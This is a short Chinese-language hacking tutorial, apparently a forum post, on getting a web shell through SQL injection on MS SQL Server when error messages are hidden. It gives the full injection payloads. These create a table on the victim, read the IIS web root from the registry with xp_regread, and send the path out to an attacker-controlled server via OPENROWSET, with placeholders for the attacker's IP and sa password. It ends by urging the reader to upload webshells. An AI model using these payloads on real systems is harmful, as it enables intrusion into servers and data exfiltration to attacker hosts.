滲透中用openrowset搞shell的方法
得到SQL注入點,首先想到的是BACKUP WEBSHELL,扔在NB裡跑一圈,發現屏蔽了SQL錯誤資訊,得不到實體路徑,那還寫個PP馬了.
聯想到一個許可權不是很高的命令openrowset,進行跨程式庫伺服器查詢,就是把一個SQL命令發送到遠端資料庫,然後看返回的結果,但是要啟動事件跟蹤!我們可以把網站資訊寫入資料庫,然後%$^%$@#$@^%$~
首先在自己機器建立SQL資料庫
然後在對方機器上建立個表 create table [dbo].[fenggou]([cha8][char](255))--
在對方執行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('select a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密碼'', ''select * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
這樣fenggou這個表裡就會有這樣一條記錄select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密碼', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a
不用說,''D:\WEB"就是從註冊表裡讀出的實體路徑拉.然後執行DECLARE @a1 char(255) set @a1=(select cha8 FROM fenggou) exec (@a1);--
等於執行了select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密碼', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a
OK,這時你在你機器上SQL事件追蹤器上就會顯示select * FROM pubs.dbo.authors where au_fname='D:\WEB,,1'
哇 哈哈哈哈哈 實體路徑到手了 寫小馬傳大馬吧~